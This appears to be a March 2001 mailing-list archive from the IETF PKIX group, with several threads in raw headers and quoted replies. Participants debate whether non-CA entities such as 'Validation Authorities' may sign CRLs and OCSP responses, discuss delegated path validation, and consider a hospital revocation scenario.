> To: Ambarish Malpani
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
> 
> 
> Ambarish,
> 
> >Hi Steve,
> >     While the term "VA" might not be part of the IETF standards,
> >it is the entity that can do the following:
> >
> >a. Sign OCSP responses - where you directly trust the responder
> >b. Sign Indirect CRLs (I suppose this is a circular argument)!
> >c. Do the Delegated Path Validation protocol.
> >
> >Agreed?
> 
> Since you made the term up, I suppose a VA can do anything :-).
> 
> On a more serious note, we made an explicit provision for non-CA 
> signing of OCSP responses when OCSP was created. You are an author, 
> so you know this. But, you didn't seem to feel a need to create a 
> name for such entities at the time, which is OK too.  CRL signing 
> was, prior to v3, strictly the province of a CA. What it seems we 
> have in our docs, and to a lesser extent in the X.509 docs, is a 
> failure to clearly describe the intent to allow non-CA entities to 
> sign CRLs. I say this based on the mix of terms in 2459, and some 
> selected examples of text from X.509 that refer to an "authority" 
> without naming any sort of authority other than CAs (and AAs?).
> 
> So, going forward, if we want to allow non-CAs to perform this 
> function, let's just get the text to be clear on this point, and if 
> necessary, let's create a name for these entities, to minimize 
> confusion.
> 
> As for DPV, it is clear that it can be performed by a non-CA entity.
> 
> Steve
> 

------_=_NextPart_001_01C0A73D.6858D630
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Open Issue in Part1: path length constraints</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Re the X.509 language - The main reason you see =
terms&nbsp; like 'authority' and </FONT>
<BR><FONT SIZE=3D2>CRL issuer instead of CA is that CRLs can also be =
issued for attribute certificates.</FONT>
<BR><FONT SIZE=3D2>These CRLs would be signed by Attribute Authorities =
(AA) not by CAs. As editor, </FONT>
<BR><FONT SIZE=3D2>one my editing tasks for the 2000 509 was to replace =
&quot;CA&quot; with &quot;authority&quot; wherever both CA and AA =
</FONT>
<BR><FONT SIZE=3D2>were intended. That is the main reason you see these =
terms. There really hasn't been any </FONT>
<BR><FONT SIZE=3D2>discussion in 509 on non CA, AA issued CRLs that I =
can remember. Taking this to the next </FONT>
<BR><FONT SIZE=3D2>step, the definition of &quot;authority&quot; in =
X.509 (clause 3.3.6) is: &quot;An entity, responsible for the issuance =
of certificates. Two types are defined in this Specification; =
certification authority which issues public-key certificates and =
attribute authority which issues attribute certificates.&quot; So, at =
least from the X.509 perspective an authority is either a CA or an =
AA.</FONT></P>
<BR>

<P><FONT SIZE=3D2>Sharon</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Stephen Kent [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Wednesday, March 07, 2001 11:41 AM</FONT>
<BR><FONT SIZE=3D2>&gt; To: Ambarish Malpani</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: [e-mail]</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: RE: Open Issue in Part1: path length =
constraints</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Ambarish,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Hi Steve,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;&nbsp;&nbsp;&nbsp;&nbsp; While the term =
&quot;VA&quot; might not be part of the IETF standards,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;it is the entity that can do the =
following:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;a. Sign OCSP responses - where you directly =
trust the responder</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;b. Sign Indirect CRLs (I suppose this is a =
circular argument)!</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;c. Do the Delegated Path Validation =
protocol.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;Agreed?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Since you made the term up, I suppose a VA can =
do anything :-).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; On a more serious note, we made an explicit =
provision for non-CA </FONT>
<BR><FONT SIZE=3D2>&gt; signing of OCSP responses when OCSP was =
created. You are an author, </FONT>
<BR><FONT SIZE=3D2>&gt; so you know this. But, you didn't seem to feel =
a need to create a </FONT>
<BR><FONT SIZE=3D2>&gt; name for such entities at the time, which is OK =
too.&nbsp; CRL signing </FONT>
<BR><FONT SIZE=3D2>&gt; was, prior to v3, strictly the province of a =
CA. What it seems we </FONT>
<BR><FONT SIZE=3D2>&gt; have in our docs, and to a lesser extent in the =
X.509 docs, is a </FONT>
<BR><FONT SIZE=3D2>&gt; failure to clearly describe the intent to allow =
non-CA entities to </FONT>
<BR><FONT SIZE=3D2>&gt; sign CRLs. I say this based on the mix of terms =
in 2459, and some </FONT>
<BR><FONT SIZE=3D2>&gt; selected examples of text from X.509 that refer =
to an &quot;authority&quot; </FONT>
<BR><FONT SIZE=3D2>&gt; without naming any sort of authority other than =
CAs (and AAs?).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; So, going forward, if we want to allow non-CAs =
to perform this </FONT>
<BR><FONT SIZE=3D2>&gt; function, let's just get the text to be clear =
on this point, and if </FONT>
<BR><FONT SIZE=3D2>&gt; necessary, let's create a name for these =
entities, to minimize </FONT>
<BR><FONT SIZE=3D2>&gt; confusion.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; As for DPV, it is clear that it can be =
performed by a non-CA entity.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Steve</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0A73D.6858D630--


Received: from nyc1251-smtp01.radianz.com ([57.68.24.164]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA07749 for <[e-mail]>; Wed, 7 Mar 2001 09:46:25 -0800 (PST)
From: [e-mail]
Subject: unsuscribe
To: [e-mail]
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <[e-mail]>
Date: Wed, 7 Mar 2001 12:45:54 -0500
X-MIMETrack: Serialize by Router on NYC1251-SMTP01/SERV/RadianzExt(Release 5.0.5 |September 22, 2000) at 03/07/2001 12:46:26 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

unsuscribe



Received: from edelweb.fr (edelweb.fr [212.234.46.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA05697 for <[e-mail]>; Wed, 7 Mar 2001 09:14:29 -0800 (PST)
Received: from champagne.edelweb.fr (localhost.edelweb.fr [127.0.0.1]) by edelweb.fr with ESMTP id SAA15033; Wed, 7 Mar 2001 18:12:54 +0100 (MET)
Received: from champagne.edelweb.fr (champagne.edelweb.fr [193.51.14.161]) by edelweb.fr (nospam/1.3); Wed, 7 Mar 2001 18:12:54 +0100 (MET)
Received: from emeriau.edelweb.fr (emeriau.edelweb.fr [193.51.14.5]) by champagne.edelweb.fr (8.7.6/8.6.6) with ESMTP id SAA04407; Wed, 7 Mar 2001 18:12:53 +0100 (MET)
From: Peter Sylvester <[e-mail]>
Received: (sylvest@localhost) by emeriau.edelweb.fr (8.7.6/8.6.6) id SAA06642; Wed, 7 Mar 2001 18:12:52 +0100 (MET)
Date: Wed, 7 Mar 2001 18:12:52 +0100 (MET)
Message-Id: <[e-mail]>
To: [e-mail], [e-mail]
Subject: Hospitals (changed subject)
Cc: [e-mail]

> 
> I think your example simply fails to work, i.e., using the validation 
> processing algorithm there is no way to cause clients to rely on your 
> locally generated CRLs vs. the CRLs identified by the CAs. This is a 
> scenario that motivates the use of DPV.

If the hospital has to keep a record why and when a particular
activity has been accepted, then this rather motivates me to
think about an 3029/vsd service. Why should the application 
program or the user bother about the ways ways the data are
signed. There may be policy requirements that the signatures contain
ESS attributes and other things, co-signatures etc. The DPV part
is a small piece. 


Peter


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA04678 for <[e-mail]>; Wed, 7 Mar 2001 08:49:35 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 7 Mar 2001 08:49:37 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Wed, 07 Mar 2001 08:49:37 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GK1N9>; Wed, 07 Mar 2001 08:43:34 -0800
Content-return: allowed
Date: Wed, 07 Mar 2001 08:43:34 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Steve,
    I think there is value to a non-CA providing status
information in all forms - CRLs, OCSP or DPV/SCVP. I agree that
we should clarify this.

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 8:41 AM
> To: Ambarish Malpani
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
> 
> 
> Ambarish,
> 
> >Hi Steve,
> >     While the term "VA" might not be part of the IETF standards,
> >it is the entity that can do the following:
> >
> >a. Sign OCSP responses - where you directly trust the responder
> >b. Sign Indirect CRLs (I suppose this is a circular argument)!
> >c. Do the Delegated Path Validation protocol.
> >
> >Agreed?
> 
> Since you made the term up, I suppose a VA can do anything :-).
> 
> On a more serious note, we made an explicit provision for non-CA 
> signing of OCSP responses when OCSP was created. You are an author, 
> so you know this. But, you didn't seem to feel a need to create a 
> name for such entities at the time, which is OK too.  CRL signing 
> was, prior to v3, strictly the province of a CA. What it seems we 
> have in our docs, and to a lesser extent in the X.509 docs, is a 
> failure to clearly describe the intent to allow non-CA entities to 
> sign CRLs. I say this based on the mix of terms in 2459, and some 
> selected examples of text from X.509 that refer to an "authority" 
> without naming any sort of authority other than CAs (and AAs?).
> 
> So, going forward, if we want to allow non-CAs to perform this 
> function, let's just get the text to be clear on this point, and if 
> necessary, let's create a name for these entities, to minimize 
> confusion.
> 
> As for DPV, it is clear that it can be performed by a non-CA entity.
> 
> Steve
> 


Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA04472 for <[e-mail]>; Wed, 7 Mar 2001 08:48:00 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 7 Mar 2001 08:48:02 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]> for [e-mail]; Wed, 07 Mar 2001 08:48:02 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GK1NZ>; Wed, 07 Mar 2001 08:41:59 -0800
Content-return: allowed
Date: Wed, 07 Mar 2001 08:41:56 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Denis,
    I don't have an issue with a single/multiple names. What I
was remarking is, is that IETF does have the concept of a
non-CA signing/providing validation responses.

We could call (a) an OCSP responder/server
              (b) an Indirect CRL Signer
              (c) a DPV/SCVP responder/server

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Denis Pinkas [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 8:34 AM
> To: Ambarish Malpani
> Cc: 'Stephen Kent'; [e-mail]
> Subject: Re: Open Issue in Part1: path length constraints
> 
> 
> Ambarish,
> 
> > Hi Steve,
> >     While the term "VA" might not be part of the IETF standards,
> > it is the entity that can do the following:
> > 
> > a. Sign OCSP responses - where you directly trust the responder
> > b. Sign Indirect CRLs (I suppose this is a circular argument)!
> > c. Do the Delegated Path Validation protocol.
> > 
> > Agreed?
> 
> Certainly not !
> 
> This would create a confusion between:
> 
> 1) a server simply giving the revocation status of a certificate,
> 2) a server *advertising* revocation for others CAs,
> 3) a server saying if a certificate is valid according to some policy.
> 
> Please use different names!
> 
> Denis
> 
> > Regards,
> > Ambarish
> > 
> > 
> ---------------------------------------------------------------------
> > Ambarish Malpani
> > Architect                                                
> 650.567.5457
> > ValiCert, Inc.                                  
> [e-mail]
> > 339 N. Bernardo Ave.                          
> http://www.valicert.com
> > Mountain View, CA 94043
> > 
> > > -----Original Message-----
> > > From: Stephen Kent [mailto:[e-mail]]
> > > Sent: Wednesday, March 07, 2001 7:55 AM
> > > To: Ambarish Malpani
> > > Cc: [e-mail]
> > > Subject: RE: Open Issue in Part1: path length constraints
> > >
> > >
> > > Ambarish,
> > >
> > > >Steve, we use the Indirect CRL/Indirect delta CRL format to
> > > >propogate revocation information for particular CAs between
> > > >our VAs (Validation Authorities).
> > > >
> > > >Basically, as master VA can receive information that a particular
> > > >cert was revoked at a CA (even if the CA has not had time to
> > > >issue a new CRL as yet). It can (and does) create a Indirect
> > > >CRL with this information that it signs. The VA never acts
> > > >as a CA - it never issues certs, but still needs to be
> > > >responsible for creating and propogating revocation information
> > > >to other VAs.
> > > >
> > > >While we use these indirect CRLs to propogate information just
> > > >amongst VAs, it is not a stretch to seeing clients trust these
> > > >indirect CRLs for their own purposes.
> > > >
> > > >Hope this helps justify why it does make sense for non-CAs to
> > > >still issue CRLs.
> > >
> > > I understand the mechanism you are employing, and I see 
> nothing wrong
> > > with it. However, I don't think the notion of a "VA" is 
> part of ITU
> > > or IETF standards. Therefore, your use of it in a closed system
> > > environment is outside the scope of these standards.
> > >
> > > Steve
> > >
> 


Received: from indy.gradient.com ([e-mail] [192.92.110.1]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA03605 for <[e-mail]>; Wed, 7 Mar 2001 08:40:01 -0800 (PST)
Received: from bigbird.gradient.com (bigbird.gradient.com [192.92.110.50]) by indy.gradient.com (8.9.1a/8.9.1) with ESMTP id LAA10455; Wed, 7 Mar 2001 11:35:42 -0500 (EST)
Received: by bigbird.gradient.com with Internet Mail Service (5.5.2650.10) id <G1NWHL6Y>; Wed, 7 Mar 2001 11:32:55 -0500
Message-ID: <[e-mail]>
From: Hal Lockhart <[e-mail]>
To: "'Bob Jueneman'" <[e-mail]>, [e-mail]
Cc: [e-mail], [e-mail]
Subject: RE: X.509, PKIX, and pathLenConstraint
Date: Wed, 7 Mar 2001 11:32:54 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.10)
Content-Type: text/plain; charset="iso-8859-1"

I thought that this was the type of situation that Attribute Certificates
were designed to handle. Aren't you confusing Authentication with
Authorization?

Hal
=======================================================
Harold W. Lockhart            Entegrity Solutions
2 Mount Royal Avenue          Marlborough, MA 01752 USA
V: 1-508-624-9600 x 260       [e-mail]
F: 1-508-229-0338             www.entegrity.com
=======================================================



> -----Original Message-----
> From: Bob Jueneman [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 10:58 AM
> To: [e-mail]
> Cc: [e-mail]; [e-mail]
> Subject: Re: X.509, PKIX, and pathLenConstraint
> 
> 
> Steve, this may be "merely" a question of semantics, but let
> me outline a user-driven scenario that may be of interest here.
> 
> Suppose that I am a hospital administrator operating a network
> that allows doctors, nurses, etc., to access various resources
> using their X.509 certificates.  And let's assume for now that
> these certificates are issued by one of the public CAs, e.g.,
> VeriSign, and not by say the state medical association.
> 
> As the hospital administrator, I am probably a lot more concerned
> with whether the doctor in question currently has hospital privileges
> than I am in whether that doctor's signature is legally binding,
> and I am certainly in a much better position to be authoritative 
> about that issue than VeriSign is -- the fact that a doctor had 
> his medical license revoked would not be cause for VeriSign to 
> revoke his certificate.
> 
> I could, of course, set up a local database, and merely look up that 
> user's status, but although that works for access control, it doesn't 
> work nearly as well for say S/MIME.
> 
> So what I might like to do is to intercept all outgoing requests for 
> CRLs or OCSP, and send to my own local CRL or OCSP responder.
> I would manage that by periodically checking the real CRL list,
> but in addition I can revoke a certificate locally as I see fit.
> All that I have to do is to ensure that my certificate is included in
> the relying party software as a trusted root, or at least is 
> chained to
> a trusted root.
> 
> BTW, since the relationship is completely independent of the
> CA that issued the certificates, there is nothing in the certificate
> that would point to my CRL responder, not even a CRLDistributionPoint.
> 
> Now, am I a CA, or not? After all, I will never be issuing 
> certificates, 
> only CRLs.
> 
> My inclination would be to say that yes, I am, but what say you?
> Does it really matter one way or the other?
> 
> Bob
> 
> Robert R. Jueneman
> Security Architect
> 
> Novell, Inc -- the leading provider of Net services software
> 
> 
> 
> >>> Stephen Kent <[e-mail]> 03/06/01 04:16PM >>>
> David,
> 
> To me, the text you cite (7.3) lends further credence to the notion 
> that a CA is the entity that signs CRLs. Only the CA that issued a 
> cert could sign a CRL revoking that cert, until v3 of X.509, where 
> the introduction of indirect CRLs and CRL DPs opened up new 
> possibilities. The fundamental question is whether these features 
> create a new class of entity that can sign CRLs but not be marked (in 
> its certificate) as a CA, or whether these facilities merely allow 
> one CA to delegate CRL signing to another CA, perhaps operated under 
> the same administrative jurisdiction.
> 
> Steve
> 
> 


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA03409 for <[e-mail]>; Wed, 7 Mar 2001 08:39:07 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id LAA24508; Wed, 7 Mar 2001 11:38:23 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010405b6cc13636c16@[128.33.4.39]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Wed, 7 Mar 2001 11:40:33 -0500
To: Ambarish Malpani <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Ambarish,

>Hi Steve,
>     While the term "VA" might not be part of the IETF standards,
>it is the entity that can do the following:
>
>a. Sign OCSP responses - where you directly trust the responder
>b. Sign Indirect CRLs (I suppose this is a circular argument)!
>c. Do the Delegated Path Validation protocol.
>
>Agreed?

Since you made the term up, I suppose a VA can do anything :-).

On a more serious note, we made an explicit provision for non-CA 
signing of OCSP responses when OCSP was created. You are an author, 
so you know this. But, you didn't seem to feel a need to create a 
name for such entities at the time, which is OK too.  CRL signing 
was, prior to v3, strictly the province of a CA. What it seems we 
have in our docs, and to a lesser extent in the X.509 docs, is a 
failure to clearly describe the intent to allow non-CA entities to 
sign CRLs. I say this based on the mix of terms in 2459, and some 
selected examples of text from X.509 that refer to an "authority" 
without naming any sort of authority other than CAs (and AAs?).

So, going forward, if we want to allow non-CAs to perform this 
function, let's just get the text to be clear on this point, and if 
necessary, let's create a name for these entities, to minimize 
confusion.

As for DPV, it is clear that it can be performed by a non-CA entity.

Steve


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA03396 for <[e-mail]>; Wed, 7 Mar 2001 08:39:06 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id LAA24499; Wed, 7 Mar 2001 11:38:22 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010404b6cc12b5430d@[128.33.4.39]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>
Date: Wed, 7 Mar 2001 11:32:55 -0500
To: "Bob Jueneman" <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: X.509, PKIX, and pathLenConstraint
Cc: <[e-mail]>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Bob,

>Steve, this may be "merely" a question of semantics, but let
>me outline a user-driven scenario that may be of interest here.
>
>Suppose that I am a hospital administrator operating a network
>that allows doctors, nurses, etc., to access various resources
>using their X.509 certificates.  And let's assume for now that
>these certificates are issued by one of the public CAs, e.g.,
>VeriSign, and not by say the state medical association.
>
>As the hospital administrator, I am probably a lot more concerned
>with whether the doctor in question currently has hospital privileges
>than I am in whether that doctor's signature is legally binding,
>and I am certainly in a much better position to be authoritative
>about that issue than VeriSign is -- the fact that a doctor had
>his medical license revoked would not be cause for VeriSign to
>revoke his certificate.
>
>I could, of course, set up a local database, and merely look up that
>user's status, but although that works for access control, it doesn't
>work nearly as well for say S/MIME.
>
>So what I might like to do is to intercept all outgoing requests for
>CRLs or OCSP, and send to my own local CRL or OCSP responder.
>I would manage that by periodically checking the real CRL list,
>but in addition I can revoke a certificate locally as I see fit.
>All that I have to do is to ensure that my certificate is included in
>the relying party software as a trusted root, or at least is chained to
>a trusted root.
>
>BTW, since the relationship is completely independent of the
>CA that issued the certificates, there is nothing in the certificate
>that would point to my CRL responder, not even a CRLDistributionPoint.
>
>Now, am I a CA, or not? After all, I will never be issuing certificates,
>only CRLs.
>
>My inclination would be to say that yes, I am, but what say you?
>Does it really matter one way or the other?

I think your example simply fails to work, i.e., using the validation 
processing algorithm there is no way to cause clients to rely on your 
locally generated CRLs vs. the CRLs identified by the CAs. This is a 
scenario that motivates the use of DPV.

Steve


Received: from odin2.bull.net (odin2.bull.net [192.90.70.84]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA03097 for <[e-mail]>; Wed, 7 Mar 2001 08:35:09 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223]) by odin2.bull.net (8.9.3/8.9.3) with ESMTP id RAA51900; Wed, 7 Mar 2001 17:43:05 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97]) by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id RAA23986; Wed, 7 Mar 2001 17:34:36 +0100
Message-ID: <[e-mail]>
Date: Wed, 07 Mar 2001 17:34:28 +0100
From: Denis Pinkas <[e-mail]>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Ambarish Malpani <[e-mail]>
CC: "'Stephen Kent'" <[e-mail]>, [e-mail]
Subject: Re: Open Issue in Part1: path length constraints
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ambarish,

> Hi Steve,
>     While the term "VA" might not be part of the IETF standards,
> it is the entity that can do the following:
> 
> a. Sign OCSP responses - where you directly trust the responder
> b. Sign Indirect CRLs (I suppose this is a circular argument)!
> c. Do the Delegated Path Validation protocol.
> 
> Agreed?

Certainly not !

This would create a confusion between:

1) a server simply giving the revocation status of a certificate,
2) a server *advertising* revocation for others CAs,
3) a server saying if a certificate is valid according to some policy.

Please use different names!

Denis

> Regards,
> Ambarish
> 
> ---------------------------------------------------------------------
> Ambarish Malpani
> Architect                                                650.567.5457
> ValiCert, Inc.                                  [e-mail]
> 339 N. Bernardo Ave.                          http://www.valicert.com
> Mountain View, CA 94043
> 
> > -----Original Message-----
> > From: Stephen Kent [mailto:[e-mail]]
> > Sent: Wednesday, March 07, 2001 7:55 AM
> > To: Ambarish Malpani
> > Cc: [e-mail]
> > Subject: RE: Open Issue in Part1: path length constraints
> >
> >
> > Ambarish,
> >
> > >Steve, we use the Indirect CRL/Indirect delta CRL format to
> > >propogate revocation information for particular CAs between
> > >our VAs (Validation Authorities).
> > >
> > >Basically, as master VA can receive information that a particular
> > >cert was revoked at a CA (even if the CA has not had time to
> > >issue a new CRL as yet). It can (and does) create a Indirect
> > >CRL with this information that it signs. The VA never acts
> > >as a CA - it never issues certs, but still needs to be
> > >responsible for creating and propogating revocation information
> > >to other VAs.
> > >
> > >While we use these indirect CRLs to propogate information just
> > >amongst VAs, it is not a stretch to seeing clients trust these
> > >indirect CRLs for their own purposes.
> > >
> > >Hope this helps justify why it does make sense for non-CAs to
> > >still issue CRLs.
> >
> > I understand the mechanism you are employing, and I see nothing wrong
> > with it. However, I don't think the notion of a "VA" is part of ITU
> > or IETF standards. Therefore, your use of it in a closed system
> > environment is outside the scope of these standards.
> >
> > Steve
> >


Received: from mail.discretix.com ([199.203.197.2]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA02332 for <[e-mail]>; Wed, 7 Mar 2001 08:20:05 -0800 (PST)
Received: from limoremobl (fwdiscretix [199.203.92.254]) by mail.discretix.com (8.9.1b+Sun/8.9.3) with SMTP id SAA05820 for <[e-mail]>; Wed, 7 Mar 2001 18:20:02 +0200 (IST)
Reply-To: <[e-mail]>
From: "Limor Elbaz" <[e-mail]>
To: <[e-mail]>
Subject: Certificate public key length
Date: Wed, 7 Mar 2001 18:16:44 +0200
Message-ID: <001b01c0a722$047fb9a0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="windows-1255"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi,

Does someone knows what is the length of RSA/DSS signature of the root CA's?


Limor Elbaz

Discretix Technologies, Ltd.
43 Hamelacha st.
Nathania, Israel
Tel: [phone]
Fax: [phone]
Mobile: [phone]
Email: [e-mail]



Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA01954 for <[e-mail]>; Wed, 7 Mar 2001 08:15:56 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613) id <[e-mail]> for [e-mail]; Wed, 7 Mar 2001 08:15:58 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34]) by ext-mail.valicert.com (PMDF V5.2-33 #46613) with ESMTP id <[e-mail]>; Wed, 07 Mar 2001 08:15:57 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21) id <GD3GK1J0>; Wed, 07 Mar 2001 08:09:55 -0800
Content-return: allowed
Date: Wed, 07 Mar 2001 08:09:54 -0800
From: Ambarish Malpani <[e-mail]>
Subject: RE: Open Issue in Part1: path length constraints
To: "'Stephen Kent'" <[e-mail]>
Cc: [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"

Hi Steve,
    While the term "VA" might not be part of the IETF standards,
it is the entity that can do the following:

a. Sign OCSP responses - where you directly trust the responder
b. Sign Indirect CRLs (I suppose this is a circular argument)!
c. Do the Delegated Path Validation protocol.

Agreed?

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Wednesday, March 07, 2001 7:55 AM
> To: Ambarish Malpani
> Cc: [e-mail]
> Subject: RE: Open Issue in Part1: path length constraints
> 
> 
> Ambarish,
> 
> >Steve, we use the Indirect CRL/Indirect delta CRL format to
> >propogate revocation information for particular CAs between
> >our VAs (Validation Authorities).
> >
> >Basically, as master VA can receive information that a particular
> >cert was revoked at a CA (even if the CA has not had time to
> >issue a new CRL as yet). It can (and does) create a Indirect
> >CRL with this information that it signs. The VA never acts
> >as a CA - it never issues certs, but still needs to be
> >responsible for creating and propogating revocation information
> >to other VAs.
> >
> >While we use these indirect CRLs to propogate information just
> >amongst VAs, it is not a stretch to seeing clients trust these
> >indirect CRLs for their own purposes.
> >
> >Hope this helps justify why it does make sense for non-CAs to
> >still issue CRLs.
> 
> I understand the mechanism you are employing, and I see nothing wrong 
> with it. However, I don't think the notion of a "VA" is part of ITU 
> or IETF standards. Therefore, your use of it in a closed system 
> environment is outside the scope of these standards.
> 
> Steve
> 


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA29292 for <[e-mail]>; Wed, 7 Mar 2001 08:00:36 -0800 (PST)
Received: from [128.33.4.39] (comsec.bbn.com [128.33.4.39]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA17145; Wed, 7 Mar 2001 10:59:51 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010401b6cc0a9159ad@[128.33.4.39]>
In-Reply-To: <001e01c0a6d5$21f47e50$[e-mail]>
